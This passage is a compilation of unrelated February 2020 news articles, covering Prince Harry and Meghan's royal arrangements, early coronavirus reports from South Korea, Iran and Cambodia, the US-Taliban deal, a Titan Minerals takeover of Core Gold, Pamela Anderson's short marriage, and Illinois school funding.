number of military roles including Captain General of the Royal Marines, the ceremonial head of the Corps. He will also lose Honorary Air Commandant of Royal Air Force Base Honington, and Honorary Commodore-in-Chief of Small Ships and Diving, Royal Naval Command. Harry will also be barred from wearing his military uniform after stepping back from Armed Forces appointments, although he can still wear his medals at engagements. The couple's statement read: 'In relation to the military, The Duke of Sussex will retain the rank of Major, and honorary ranks of Lieutenant Commander, and Squadron Leader. 'During this 12-month period of review, The Dukes official military appointments will not be used as they are in the gift of the Sovereign. No new appointments will be made to fill these roles before the 12-month review of the new arrangements is completed. 'While per the agreement, The Duke will not perform any official duties associated with these roles, given his dedication to the military community and ten years of service he will of course continue his unwavering support to the military community in a non-official capacity. 'As founder of the Invictus Games, The Duke will proudly continue supporting the military community around the world through the Invictus Games Foundation and The Endeavour Fund.' Royal experts blast Prince Harry and Meghan Markle over 'spiteful' and 'completely unnecessary' statement after the Queen forced them to drop Sussex Royal brand name - and one commentator fears 'it will get WORSE' By Luke Andrews for MailOnline Prince Harry and Meghan Markle have been criticised by royal commentators over their 'spiteful' and 'completely unnecessary' statement after the Queen forced them to drop the Sussex Royal brand name. One commentator even blasted their words as showing Meghan's 'true colours' and said that he feared things 'will only get worse'. The Duke and Duchess of Sussex said they would drop the word royal last night before adding that the Queen does not have international jurisdiction over its use. Prince Harry and Meghan Markle (pictured on February 25 last year) said in a statement they will stop using the phrase Sussex Royal, even though the palace lacks international jurisdiction Royal commentator Richard Fitzwilliams, left, said their statement was 'completely unnecessary' while Prince Charles' biographer Tom Bower, right, branded it 'spiteful' Royal commentator and former Editor of International Who's Who, Richard Fitzwilliams, told MailOnline that the statement was 'completely unnecessary' as it 'underlines their differences with the palace in a way that is avoidable'. 'The idea of putting out a statement which agrees that they can't use the word royal but contradicts the idea the monarchy can stop them using it,' he said, 'they're basically saying the royals can't stop them using it, but they won't be using it'. 'It has been especially unnecessary to underline it in this way, especially as the agreement will be reviewed after a year. 'It simply empathises the division that we know that's there. The tone they've taken is that they are unhappy, they've made it clear every step of the way.' Prince Charles' biographer Tom Bower told MailOnline that the public is 'finally seeing Meghan's true nature and motives'. 'Her comments about the Queen's decision smacks of spiteful fury,' he said. 'I fear it will get worse.' Harry and Meghan (pictured meeting youngsters at the Commonwealth games in London in July 2018) also said that they will need security for themselves and their son In their sour statement released yesterday and published to Instagram the Duke and Duchess said: 'While there is not any jurisdiction by The Monarchy or Cabinet Office over the use of the word 'Royal' overseas, The Duke and Duchess of Sussex do not intend to use 'Sussex Royal' or any iteration of the word 'Royal' in any territory (either within the UK or otherwise) when the transition occurs Spring 2020.' In terse words the couple also outlined how they 'will continue to require effective security to protect them and their son'. 'The preference of The Duke and Duchess of Sussex was to continue to represent and support Her Majesty The Queen albeit in a more limited capacity, while not drawing on the sovereign grant,' they said. The Duke and Duchess quit the royal family this year to start a new life together in Canada with their son Archie. They have since made an estimated 750,000 for speaking at an event for bank JP Morgan, and have also faced criticism for allegedly sending their security guards to fetch ethical meals for them. The Queen has left the door open for the Duke and Duchess. Although Prince Harry will no longer serve in his military roles, these will not be filled, and she has offered to review the deal in a year which leaves room for further re-conciliation. The sixth-in-line to the throne and his wife are expected to rake in millions as they launch their life outside the royal family on March 31. Meghan Markle has until Easter to prove that she can continue as Royal Patron of the National Theatre, says top West End producer By Richard Eden for the Daily Mail The Duchess of Sussex should have only until Easter to prove her mettle as Royal Patron of the National Theatre, according to a top West End producer. Meghan Markle, 38, was gifted the honour last January by the Queen, who had been the National's patron for 45 years. But in the light of 'Megxit', which has seen Meghan and her husband Prince Harry step away from royal duties and relocate to Canada, questions remain over her suitability for the job. 'I think we should give Meghan until Easter to say what she thinks is possible with her patronage,' Ms Burns told me at a fundraising gala for the King's Head's 50th anniversary. 'We have to give her a chance, forget who she is and give her some space. Now impresario Nica Burns, who co-owns The Nimax Group, which comprises six London West End theatres including The Palace, the Apollo and the Vaudeville, has said that the Duchess should not hold the position indefinitely. The Duchess of Sussex should have only until Easter to prove her mettle as Royal Patron of the National Theatre, according to a top West End producer Nica Burns, who co-owns The Nimax Group, which comprises six London West End theatres including The Palace, the Apollo and the Vaudeville, has said that the Duchess should not hold the position indefinitely. 'If she is not going to be doing any work with the National, then she should step down. But as she is a role model, we would rather she didn't.' Earlier this week, it was announced that the Duke and Duchess of Sussex's official departure from The Firm would begin on March 31. However, the artistic director of the National Theatre, Rufus Norris, revealed this week that Megxit would not prevent the Duchess from continuing as Royal Patron and all would be 'business as usual'. But Ms Burns whose commercial successes include Chicago The Musical and Harry Potter And The Cursed Child suggests that if and when Meghan's U.S. commitments begin to take over, she should do the decent thing and step down. Adds Ms Burns: 'If her life is going to take her somewhere else, it will be hard for her to raise awareness and money for the National Theatre. 'If her new life means she is going back to work, maybe in film, or she'll have another child, I think the right decision would be for her to say: 'I have a new life and I can't continue.' ' Prime Minister Chung Sye-kyun designates Daegu and Cheongdo as "special care zones" in a pan-government meeting over coronavirus, Friday. South Korea declared the southeastern cities of Daegu and Cheongdo are "special care zones" Friday as a cluster of coronavirus cases have been reported there in recent days. On Thursday, the country confirmed its first death of a COVID-19 patient in the southeastern city of Cheongdo, with the total number of confirmed cases in the country surpassing 100. Concerns about community spread have mounted as new cases surged this week in Daegu, the country's fourth-largest city and home to 2.4 million people, and its surrounding North Gyeongsang Province. "The government will take special measures by declaring the Daegu and Cheongdo areas, where a sudden rise in confirmed cases were reported, as special care zones," Prime Minister Chung Sye-kyun said at the start of a pan-government meeting over the virus. Chung said the government will focus on preventing the virus from spreading locally. "The government will mobilize all resources to overcome the virus," he added. (Yonhap) Vishva Hindu Parishad vice-president Champat Rai on Friday said that Prime Minister Narendra Modi urged them to speak with caution on matters related to Ayodhya. "The Prime Minister told us that he wants peace in the country. He told us to be careful while speaking on issues pertaining to Ram Janmabhoomi. We gifted him clothes, he presented us the same too," Rai said while speaking to media here. The officials of Shri Ram Janmabhoomi Teerth Kshetra Trust led by its president Mahant Nritya Gopal Das Maharaj on Thursday met Prime Minister Modi and invited him to visit Ayodhya. Yesterday after meeting the prime minister at his residence, Mahant Nritya Gopal Das Maharaj said: "We met Prime Minister Modi and invited him to visit Ayodhya. The Prime Minister has assured us that he will think over the proposal. He also said that the grand temple will be built soon." Maharaj further said: "We requested that the wait for the Ram temple has become too long and, therefore, the construction should begin soon." VHP leader Champat Rai, who was also a part of the delegation, said: "This was a courtesy meeting. All of us came here on the invitation of the Prime Minister." K Parasaran and Swami Govind Giriji Maharaj were also part of the delegation, which met the Prime Minister. The Trust members had nominated Nritya Gopal Das of Ram Janmabhoomi Nyas as its president whereas VHP's Rai was made the general secretary on Wednesday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pinelands school district will wash and fold students' clothes to keep kids in class A South Jersey school has eliminated a reason for some students not to come to school: that Theyre letting him go, Robert Grimley said. Matthew remains suspended until Monday. Grimley said he was happy with the administrations decision although now he must accompany Matthew on the trip but was still unclear as to why his son was suspended. He thanked U.S. Rep. Jeff Van Drew, R-2nd, who he said reached out personally to Superintendent Kathy Taylor about the situation. Reached by phone Thursday, Van Drew, who previously represented Cape May County as a state senator, confirmed he reached out to the superintendent. Hes a good kid, and hes very interested in what goes on in Washington, Van Drew said of Matthew, adding he believed it was an accident. It was a benign type of offense, and I know he didnt mean it. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} School policy and the student code of conduct prohibit weapons or anything that can be used as a weapon on school property. Were here to protect all children, that child and the other children, Clark said Thursday. Its a different time period, and everything has to be taken at a very serious level and examined differently. Source: Xinhua| 2020-02-21 20:40:37|Editor: huaxia Video Player Close TEHRAN, Feb. 21 (Xinhua) -- An Iranian health official said Friday that the World Health Organization (WHO) has sent equipment to Iran to detect suspects with COVID-19 infection. Kianush Jahanpur, head of Public Relations and Information Center of Ministry of Health and Medical Education, said that "the fourth set of special kits to detect suspects with COVID-19 infection was sent to Iran by the WHO representative to the Islamic republic on Friday." "Christoph Hamelmann, the representative of the WHO to Iran, has imported the items from Dubai of the United Arab Emirates to Iran," Jahanpur tweeted. He said that the items were delivered to Iran's Pasteur Institute located in capital Tehran. Jahanpur on Friday confirmed the infection of 13 people in Iran with the COVID-19, and two of them died. Dozens of people attended the Lambertville City Council meeting Thursday evening, asking questions and raising concerns about the councils proposal to redevelop a site to meet affordable housing obligations, an idea that includes the consolidation of municipal facilities into one building. Mayor Julia Fahl on Jan. 31 proposed a private residential mixed income development that would be located on the current site of the towns police department on North Main Street, as well as the construction of a new municipal building that would house a number of different municipal services. Those who spoke expressed concerns about the proposed projects environmental impact and its scale, as well as asking how necessary it is in the community. Fahl reiterated that the city is really at ground zero of the project, stating that discussions regarding the location of the proposed municipal building and whether or not municipal facilities -- including the town library, police station and municipal court and offices -- should be consolidated will be ongoing for the next several months. She added that the many questions she and the council have received regarding how the project could potentially impact residents taxes is an impossible conversation to have at this point in the process. (Taxation) is an important question that we intend on answering in multiple different ways over the next several months as we start to form this plan," Fahl said. Obviously, that would be a very difficult question to answer both on what the total cost of this project would be and what the tax impact will be for a project like this because we have not committed to a particular site. Lambertville resident Robert Jordan said placing the consolidated municipal building at the current site of the ACME Screening Room is asking for trouble because of its proximity to both Swan Creek and the Delaware and Raritan Canal. The bottom line is, we cant do it," Jordan said. "If anything, we should be removing some of this impervious surface, planting trees along the corridor to preserve our streams and the integrity of the waterway. Were not doing that; were not being good stewards of what we have. Fahl emphasized that other sites beyond the ACME Screening Room on South Union Street are being considered as potential locations for the municipal building. We understand the significant constraints that the flood hazard area of this particular site causes ... and are considering multiple other private sites throughout this city, Fahl said. Jeff Tittel, a city resident and director of the New Jersey Sierra Club, expressed his dissatisfaction with placing the proposed mixed income residential building at the current location of the police department, which is in close proximity to Alexauken Creek. Sierra Club worked very hard to get that (creek) upgraded to Category One, and theres a 300 foot buffer. And the density and size of that building would encroach on it, Tittel said. He said the council has not demonstrated a need" for the proposed municipal building. I have not heard one reason for this, one real justification. We have a library that works, we have a town hall that works, we have a police station that works, we have a court that works," Tittel said. Lambertville resident Shawn Douglas expressed his desire to preserve the current sites of the town library and city hall, citing their significance as historic landmarks of Lambertville. The Lilly Mansion is an important historic landmark. It is old, it was built in 1812," Douglas said. And our City Hall, built in 1870, with incredible architecture. Those are important things that I think would be essential for the city to retain, to help with our city character. Fahl said the city will follow its extremely strict tear-down law and will continue to preserve those buildings as historic sites no matter what we do next." We have made a commitment through my administration to use historic preservation as an economic driver in our town," Fahl said. I have worked and am continuing to work with both our Historic Preservation Commission, as well as our historic preservation architect ... and the state Historic Preservation Office to address concerns. Lambertville resident Benedetta Lambert described the consolidation of municipal services as overkill. Were a small community, fewer than 4,000 people," Lambert said. It seems like a very large undertaking for a community the size that we are. I would hate to see us destroy the nature and the atmosphere of our town by overdeveloping and putting a big structure in a town thats known for its quaintness, its smallness, its closeness. She also expressed opposition to placing the towns library in the same building as the police department and municipal court. Consumers of the library ... may feel intimidated to have to go into the same building with the police and the court," she said. Beginning Friday, the city council will be accepting applications for a community advisory team of between 18 and 20 residents with a variety of backgrounds, constituencies in our community, and needs and interests" to represent another layer of public comment for the project, Fahl said. Team members will be able to comment directly upon future redevelopment designs and agreements, as well as share information about the project with the Lambertville community, Fahl added. We encourage anybody whos interested in really digging into the core details of this project to apply," Fahl said. Interested individuals can apply for the community advisory team or learn more about the community development project at https://lambertvillenj.org/communitydevelopment. Caroline Fassett can be reached at cfassett@njadvancemedia.com. Have a tip? Tell us.nj.com/tips The crew of a US cruise ship were given the all-clear from the deadly new coronavirus on Thursday, as Cambodia's strongman premier suggested a former passenger who tested positive had caught it after leaving the country. The Westerdam was at sea for two weeks, rejected by five countries over fears its passengers could be carrying the virus, which has killed more than 2,100 people. But Cambodia's premier Hun Sen allowed it to dock on the country's southern coast on February 13, and hundreds disembarked after basic health checks. Among them was an 83-year-old American woman, who was later stopped in Malaysia and diagnosed with the virus. The discovery sent reverberations of fear across the region as passengers had since scattered via flight hubs to return home. The remaining passengers and 747 crew members were tested for the virus in Cambodia, but all came back negative. Hun Sen, who had defended his decision to allow the ship to dock, was triumphant. "We did not find it here. Did it happen when she arrived in Malaysia?" he said in a speech Thursday in Phnom Penh, referring to the American woman's case. Cruise operator Holland America offered its "sincere gratitude". The Westerdam is expected to leave in the coming days. The bombastic premier is a staunch ally of China, even travelling to Beijing earlier this month in a show of solidarity. Cambodia receives billions of dollars in soft loans, infrastructure and investment from China. But Western governments have in recent years upped criticism over Cambodia's human rights situation. The same week Hun Sen embraced passengers alighting from the Westerdam, the European Union decided to partially withdraw Cambodia's tariff preferences over rights violations. But the premier -- Asia's longest-serving leader -- dismissed suggestions that his moves were calculated. "We didn't use this story as political capital," he insisted. Cambodia so far has had one confirmed case of the coronavirus -- a Chinese tourist who has since recovered and been discharged. Meanwhile in Japan, two elderly former passengers from the coronavirus-stricken Diamond Princess died on Thursday. Fears are growing for those who have left the ship after testing negative for the virus. Pamela Anderson has admitted she received $100,000 from film producer ex-husband Jon Peters. The 52-year-old actress spoke to Ladysmith Chemainus Chronicle, a local newspaper in the Baywatch star's hometown of Ladysmith in Canada and refuted claims Peters paid off her debts during their 12-day marriage. Anderson insisted she's financially independent, explaining: 'I dont need anyone to pay my bills, I own a $10 million dollar house in Malibu Colony that has been rented for almost two years now and for the next three to five years for $40,000 month. That more than covers all my bills and expenses. Gesture: Pamela Anderson received $100,000 from ex-husband Jon Peters after their 12-day marriage ended. It comes after he claimed she used him to pay off her debts Whirlwind marriage: Peters backtracked and denied claims earlier this month that Pamela used him to pay off $200k in debt 'I have contracts and other work. I put that money into my Ladysmith project,' she explained. 'I believe it's best to put my money in property. He doesn't agree. I would politely listen and say Id think about it. He still looked at me like that naive little girl sitting at the bar. "Teeth and a halo" he tells people.' The publication reports that Anderson's business manager Michael Ullman confirmed he provided Peters with three years of the actress' tax returns and laid out monthly expenses and outstanding bills to prove her financial stability. As a gesture, following their split, Peters gave Anderson $100,000, which the actress confirmed to Ladysmith Chemainus Chronicle revealing Peters told her 'no hard feelings'. The money, which Ullman confirmed Pamela received, has gone into her Ladysmith property. No debts here: The Playboy cover girl explained to Ladysmith Chemainus Chronicle that she is financially independent. Her business manager confirmed he met with Peters to show him Anderson's tax returns 'Im thrilled to inject some work money into the community. All my savings, all the extra money I make, goes here or to my foundation,' Anderson said. Anderson's interview came as Peters backtracked on his claims the blonde beauty used him for his money. In the same publication Peters denied he paid off Pamela's debts. He explained: 'I havent spoken to the press nobody. Ive loved this kid since she was 20 years old. I still love her. We're friends. We'll always be friends. I helped her in a way that she needed, but it's between her and I. I think she's great, and that's all I got to say.' After their 12-day marriage imploded earlier this month, Pamela took to social media to write about feeling betrayed. And Peters hit back accusing Pamela of using him to pay off her $200,000 debt and buying her a new wardrobe. 'I think she's great, and that's all I got to say': Anderson's interview came as Peters backtracked on his claims the blonde beauty used him for his money Insisting 'everything she told you was a lie,' Jon called himself 'an old fool' in an email to Page Six. 'I welcomed her into my life with open arms and love since I have looked after her for many years,' he wrote. 'I paid [her] bills since she was broke. I bought her a completely new wardrobe.' Refuting claims he had asked the star to be his wife, he instead claimed the pinup proposed to him - via text. He wrote: 'When she texted me that she wanted to get married, it was kind of a dream come true even though I was engaged to someone else and the lady was moving in. 'I dropped everything for Pam. She had almost $200,000 in bills and no way to pay it so I paid it and this is the thanks I get. There's no fool like an old fool.' Welcomed back: Peters has returned to his ex-fiancee Julia Faye West - the woman he ditched for Anderson - just three weeks after his failed 12 day marriage to the Baywatch star In response, Pamela's representatives called Peters' claims 'ludicrous' and 'entirely fabricated'. Meanwhile, Peters is reportedly back together with the woman he dumped to marry Anderson, just three weeks after his failed marriage to the Baywatch star. The 74-year-old movie producer is back with Julia Faye West, according to Page Six, just weeks after his infamous 12 day marriage to the 52-year-old actress. Peters was engaged to Faye West when Pamela texted him to ask him to marry her, the movie mogul had previously told the website. Peters told Page Six that while they are not engaged this time round, things are 'all good' with Faye West - despite him dumping her and then embarking on a whirlwind marriage to Anderson. Bearing more than a passing resemblance to Pammy, Faye West also shares a passion for animals with the blonde bombshell. She is also an actress and starred in comedy Reality Queen - which was released in January - and also stars Mike Tyson and Denise Richards. The way they were: The two had been friends for 30 years, following a brief relationship, but never lived together. Seen here in 1989 when they briefly dated Five times married Pamela tied the knot with the film producer on January 20 and announced just 12 days later that they had split. According to previous reports, only three days after they tied the knot, Jon texted Pamela about ending their 'beautiful amazing love fest'. He allegedly wrote: 'This whole marriage thing has scared me. It made me see that at 74 I need a simple quiet life and not an international love affair. Therefore, I think the best thing we can do is that I'm going to go away for a couple of days and maybe you need to go back up to Canada. 'The world knows we did it and I think now we need to go our own separate ways. I hope that you can forgive me.' The pair never filed formal paperwork for their marriage, so it wasn't yet legal when they decided to go their separate ways. The two had been friends for 30 years, following a brief relationship, but never lived together. Her big show: from left, Anderson as C.J. Parker, Alexandra Paul as Lt.Stephanie Holden, Gregory Alan-Williams as Police Sgt. Garner Ellerbee, David Hasselhoff as Lt. Mitch Buchannon, David Charvet as Matt Brody, Nicole Eggert as Summer Quinn, Jeremy Jackson as Hobie on Baywatch A source told People magazine: 'Living with someone, you truly get to know them. Pam's a romantic, but she is also very independent.' According to another insider, the blonde beauty thought she had made a 'terrible mistake' after she and Jon had spent just a day and a half together as husband and wife. Pamela is said to have found her new husband overbearing and too focused on fame, which no longer interests her as she's more devoted to her charity and activist work. The source said: '[Pamela felt Jon was] trying to be too controlling over her. 'Pamela felt that he was frustrated over how she wanted to maintain her financial independence ... He started to make calls about her career and cast her in a movie he was working on, things she didn't want.' TITAN SECURES IN EXCESS OF 90% OF CORE GOLD ALL OUTSTANDING CORE SHARES TO BE ACQUIRED VIA SECOND STEP TRANSACTION HIGHLIGHTS At final expiry of the Offer period, Core Gold shareholders have tendered a total of 90.82% of the outstanding Core Shares (1) to the Offer Titan to take-up and pay for the Core Shares tendered prior to expiry Upon take-up of the tendered shares, Titan will own 91.32% of Core Gold shares Titan now intends to pursue the delisting of Core Gold, and the acquisition of all remaining Core Shares via a second step transaction All conditions of the Offer have been met and the Offer has now closed TORONTO, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Titan Minerals Limited (the "Company" or "Titan") (ASX: TTM) is pleased to provide an update regarding its offer (the "Offer") to purchase all of the issued and outstanding common shares (the "Core Shares") of Core Gold Inc. ("Core Gold") (TSXV: CGLD) as part of its strategy to create an emerging Latin American focused gold explorer, developer and producer, with a large portfolio in Ecuador and Peru.(2) As of the expiry of the Core Gold Offer period at 9:00 a.m. (Toronto time) on February 7th, 2020 (the Final Expiry Time), an additional 13,378,190 Core Gold Shares have been tendered to and taken-up by Titan under the Offer. As at the Final Expiry Time, the total number of Core Shares tendered to and taken-up by Titan under the terms of the Offer is 143,243,914 and represents 90.82% of the issued and outstanding Core Shares, such number excluding Core Shares beneficially owned or over which control or direction is exercised by Titan or any person acting jointly or in concert with Titan. With the Core Shares held by Titan prior to the commencement of the Offer, Titan will now own 91.32% of the issued and outstanding Core Shares. There will be no further extensions to the Offer and all of the conditions of the Offer have been satisfied or waived by Titan. In accordance with the terms of the Offer, Titan has already taken up and paid for the Core Shares that were tendered prior to the previous expiry time at 9:00 a.m. (Toronto time) January 27th, 2020 (Previous Expiry Time) and will immediately take-up the Core Shares that have been tendered since the Previous Expiry Time. Titan will pay for the additional Core Shares taken up as soon as possible and, in any event, not later than three business days after the additional Core Shares are taken up. Copies of the Companys early warning report and circular in respect of the Offer may be obtained free of charge on Core Golds profile on SEDAR at www.sedar.com. Titan Managing Director Laurence Marsland said: Titans Offer for Core Gold has been overwhelmingly welcomed by Core Gold shareholders, and now paves the way for the combined company to accelerate its gold exploration, development and production plans in Ecuador and Peru. I welcome our new shareholders and look forward to updating the market on our strategy to unlock value of these combined assets. Having taken up more than 66.6% of the issued and outstanding Core Shares, Titan intends to take steps to acquire all of the remaining outstanding Core Shares. In due course, a Core Gold shareholders meeting will be held for the purpose of approving a second step transaction in respect of Core Gold. Titan, following the take-up of the most recently tendered Core Shares, intends to vote its 90% holdings in Core Gold in favour of the second step transaction. Having successfully completed the Offer, Titan will take the coming weeks to work alongside the Core Gold team in order to prioritise the Companies combined exploration targets and to finalise the overall development strategy. As part of this process, the Company intends to conduct a strategic review on Zaruma and Portovelo. This announcement has been approved by the Board of Directors of Titan. Advisers Titan has engaged Bacchus Capital Advisers Ltd as its exclusive financial and strategic adviser, from a mergers and acquisitions perspective, in connection with the Offer and the Increased Offer. Fasken Martineau DuMoulin LLP is acting as Canadian legal counsel, DLA Piper LLP (Australia) is acting as Australian legal counsel and Gryphon Advisors Inc. is acting as Information Agent. For further information please contact: Investors Mr Laurence Marsland, Managing Director Titan Minerals E: info@titanminerals.com.au T: +61 8 6555 2950 Financial Advisers Peter Bacchus Bacchus Capital Advisers E: peter.bacchus@bacchuscapital.co.uk T: +44 (0) 203 848 1641 Media David Tasker Chapter One Advisors dtasker@chapteroneadvisors.com.au T: +61 433 112 936 Chris Johannsen Bacchus Capital Advisers E: chris.johannsen@bacchuscapital.co.uk T: +44 (0) 203 848 1644 About Titan Minerals Limited Titan is the owner and operator of a copper and gold business in a well-established mining region of Southern Peru. Titan is currently commissioning the Vista gold plant in Southern Peru. A centralised processing facility produces loaded carbon from the Carbon-in-Pulp gold circuit, with feed sourced from third party operators previously averaging 17 to 24 g/t Au head grades. Titans gold assets include the wholly-owned Torrecillas exploration project and an exclusive right to acquire an 85% interest in the Las Antas gold project (refer to Titans ASX release dated 14 January 2019). At Torrecillas, a number of high-grade narrow gold veins have been developed and mined by Titan, and Las Antas is a key prospect within a district of high-grade gold and silver veins located within trucking distance of Titans Vista gold plant. Titan is continuously evaluating projects within Peru for acquisition or joint venture to both provide additional, low cost gold and silver mineralized material feed for existing processing facilities and opportunities for processing growth and expansion. In addition, Titan shall also continue to evaluate projects elsewhere in gold, copper and other commodities to grow shareholder value. Website: www.titanminerals.com.au About Core Gold Inc Core Gold is a Canadian based mining company involved in the mining, exploration and development of mineral properties in Ecuador. The Company is currently focused on gold production at its wholly-owned Dynasty Goldfield mining unit and continued development at its underground Zaruma mine. Mineral is treated at the Companys wholly-owned Portovelo treatment plant close to the Zaruma mine operations. The Company also owns other significant gold exploration projects including the Linderos and Copper Duke projects in southern Ecuador all of which are on the main Peruvian Andean gold-copper belt extending into Ecuador. Core Gold is currently the largest producer of gold in Ecuador. ROME - Filippo Grandi, UN High Commissioner for Refugees, on Friday launched an appeal for urgent action on the increasingly desperate situation of migrants and refugees on the Aegean Islands in Greece, UNHCR said. "Conditions on the islands are shocking and shameful," said Grandi. "Greece - with European support - has to act now to deal with an untenable situation, while the longer-term measures are put in place," he said. Among the requests presented to the Greek government, the EU, and European countries, UNHCR cited the need to urgently transfer at least 20,000 people to the mainland. It is also calling for an improvement in living conditions for those who remain on the islands, prioritising water, sanitation and healthcare. In addition, it is asking for the relocation of unaccompanied children to elsewhere in Europe and a focus on ensuring that asylum procedures are not just faster, but fair and proper too. It said conditions in facilities on Lesbos, Chios, Samos, Kos and Leros are woefully inadequate, and have continued to deteriorate since Grandi last visited in November. Mediterranean arrivals into Europe have plummeted since the 2015 crisis, but arrivals to Greece have risen in the last year and made chronic overcrowding on the islands much worse. Grandi welcomed recent efforts by the Greek government to address the situation, noting a series of priority measures announced this month. However, it will inevitably take some time for the planned measures to be fully enacted, UNHCR said. Russia and Nato on Friday hailed an agreement between the United States and the Taliban in Afghanistan that could lead to the end of America's longest war. The announcement of a deal came hours after the Afghan government said a week-long partial truce would start across the country on Saturday. "It will be an important event for the peace process in Afghanistan, Moscow's Afghanistan envoy, Zamir Kabulov, told state news agency RIA Novosti. He said he would take part in the signing ceremony on 29 February in Doha, if invited. Nato chief Jens Stoltenberg also welcomed the deal, saying it had opened a possible route to sustainable peace in Afghanistan. "This is a critical test of the Taliban's willingness and ability to reduce violence and contribute to peace in good faith," he added Guarantees The US Secretary of State Mike Pompeo and the Taliban issued statements on Friday saying they had agreed to sign the accord on 29 February in Doha, following the one-week partial truce. "Upon a successful implementation of this understanding, signing of the US-Taliban agreement is expected to move forward," Pompeo said. He added that negotiations between the Taliban and the Afghan government would start soon afterwards The agreement will mark a significant turning point in the conflict by setting the conditions for arrangements that could lead to the withdrawal of US troops after more than 18 years. Chance The US and the Taliban were on the brink of a deal before in September but amid continued insurgent violence, President Donald Trump pulled back at the eleventh hour. Since the US-led invasion of Afghanistan after the attacks on the US on 11 September 2001, the US has spent 1 trillion euros in fighting and rebuilding in Afghanistan. About 2,400 US soldiers have been killed, along with tens of thousands of Afghan troops, Taliban fighters and Afghan civilians. Amulya Leona's residence at Gubbi Gadde village Chikmagalur was reportedly vandalised today (February 21) morning by some protesters. Keeping the family's safety in mind, security detail has been provided to the family. The police have filed an FIR against Amulya under Section 124A (Offence of sedition) of the Indian Penal Code and she has been sent to 14-day judicial custody. Amulya Leona, 24, had raised 'Pakistan Zindabad' slogan during an anti-CAA rally organised by AIMIM in Karnataka on Thursday. Amulya Leona's father and small-time Janata Dal (Secular) leader Oswald Naronha condemned his daughter's act of raising the 'Pakistan Zindabad' slogan during an anti-CAA rally in Karnataka. Reacting to Amulya's detention and subsequent judicial remand, he condemned the act and said that "the guilty should be punished as per law". He claimed that he had tried advising Amulya many times but she does not heed his advice. Amulya suddenly reached the stage, and at first shouted 'Hindustan Zindabad', but in the meantime, some people snatched the mic from them. Owaisi stopped the girl from raising slogans and also condemned the incident. He too condemned the act. "I immediately rushed to her, and told her that 'I will not tolerate this nonsense'. I don't even know who this lady is," he said. SPRINGFIELD Education funding is once again top of mind at the Capitol, with a key cog of Gov. JB Pritzkers fiscal year 2021 budget proposal addressing the matter already facing pushback. At issue is the states three-year-old K-12 education funding system, known as the evidence-based model. For the fourth straight budget year, lawmakers are discussing how many hundreds of millions of dollars in additional funding that formula will receive as compared to a year ago. Gov. JB Pritzker laid out two scenarios for K-12 funding in his Wednesday budget address, which only details his priorities ahead of months of negotiations in the General Assembly. The first adds the full statutory target of $350 million in new funding to the formula next fiscal year, which begins July 1. The second would add $200 million in new funding. Under the tentative proposal, which of the scenario plays out would depend on whether voters approve a constitutional amendment in the November general election to scrap Illinois 4.95 percent flat income tax and allow the state to charge higher rates on higher levels of income. If the amendment passes essentially raising the tax burden on earners making more than $250,000 a year while maintaining or lowering it modestly for all others government forecasters predict the state would have an extra $1.4 billion to spend in the fiscal year, allowing for the added $150 million in K-12 funding. The graduated tax-free budget holds $40 million in reserve for categorical payments to school districts for programs such as special education and transportation on the contingency of the graduated tax passage as well. Republicans lampooned the dual budget proposal as one that holds added investment in education hostage as a marketing ploy for Pritzkers graduated tax. This bullying tactic to hold funding to our schools hostage, and our students, in order to get his way, not only is irresponsible but represents a false choice, Rep. Avery Bourne, R-Raymond, an assistant minority leader in the House, said in a news conference Thursday. Democrats including two of the lead architects of the evidence-based model were lukewarm on the idea as well, but they acknowledged its the first step in a long process of budgetary negotiations. State Sen. Andy Manar, D-Bunker Hill, led the Senate Democrats in negotiations for the evidence-based formulas passage in 2017. On Thursday, he said in an interview he would support full funding for the $350 million regardless of the graduated taxs passage. It's day one of the budget making process and there's multiple ways to achieve what I think most people want to achieve, which is at the end of fiscal year 21 (which runs July 1, 2020 to June 30, 2021), we will have put minimum $350 million more into the evidence-based formula, he said. The $350 million number is defined as a target in statute, with the goal of bringing all districts to 90 percent of funding adequacy by 2027. Another goal is to drive down local property taxes by reducing the need for school boards to raise their property tax levies each year to meet spending needs. The formula determines the level of funding need for each district individually through an adequacy target determined by several variables tied to student performance. It separates districts into four tiers one being the least funded, four being the most and distributes 99 percent of new funding to the lowest two tiers with the majority going to Tier 1. But the statute also has a secondary formula that kicks in if the full $350 million number is not met. The secondary formula directs an even larger share of new funding to Tier 1 districts. Republicans questioned whether a budget appropriating $350 million but holding $150 million of that in reserve would affect which formula kicks in, and Manar said that critical question would have to be addressed in budget negotiations. Manar and Rep. Will Davis, a Homewood Democrat and House sponsor of the evidence-based formula when it passed, argued this week that for all districts to meet adequacy in the laws original 10-year target window, the state should be contributing hundreds of millions more on top of the $350 million. I believe that if (education is) truly priority not only can we allocate the $350 million that the governor is referring to, but believe it or not, I think we can do better. If we prioritize it, we can put as much as a half a billion new dollars in K through 12, Davis said in a news conference following the budget address. According to an analysis by the non-profit think tank Center for Tax and Budget Accountability, the actual number needed to get the state to adequacy in 2027 is $7.35 billion, or about $780 million in total added funding each year. Manar said hed ideally like to see that number hit, but acknowledged that the $350 million number was a product of negotiations which led to the 2017 passage of the bill, not an actual avenue to adequacy within the specified time frame. He also said funding less than the $350 million could drive Tier 2 districts down to Tier 1. For Bourne and House Republicans, though, the prospect of $150 million that may or may not be realized this year means instability for local schools and the potential of upward property tax pressures. What the governor proposed, this two-step approach, does not guarantee fully-funded schools and it will force their budgeting process to make difficult decisions without the certainty of knowing what the state will be sending them, she said. But Manar said three straight years of funding increases totaling more than $900 million have schools in a much better place than they were five years ago, when state budgeting conversations centered around what extent K-12 budgets would be prorated each year. He also said the process of district and state budgeting always intertwines to create some uncertainty, and this year is no different. While Manar said he believes in the governors commitment to education, Republicans were not the only ones putting Pritzkers budget proposal on blast. Robin Steans, president of Advance Illinois, an independent public education policy organization, said in a statement she was deeply disappointed in the governors dual budget approach. In a world where the current Minimum Funding Level wont get us to full funding in the promised ten-year timeframe, and where we want schools to put new dollars to work for children as quickly and effectively as possible, the FY21 investment strategy is devastating, she said in a news release. Both chambers of the General Assembly will have to approve a budget before Pritzker can sign it into law, and the process is generally scheduled to conclude at the end of May. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Homeownership comes with a lot of responsibilities, which is why many people are opting into condominiums or townhomes because it alleviates some chores homeowners are faced with. For those who live in condos, snow removal, yardwork and other upkeep is taken care of and generally bundled in with homeowners association fees. Condo owners own the interior of the building, while the exterior of the building, 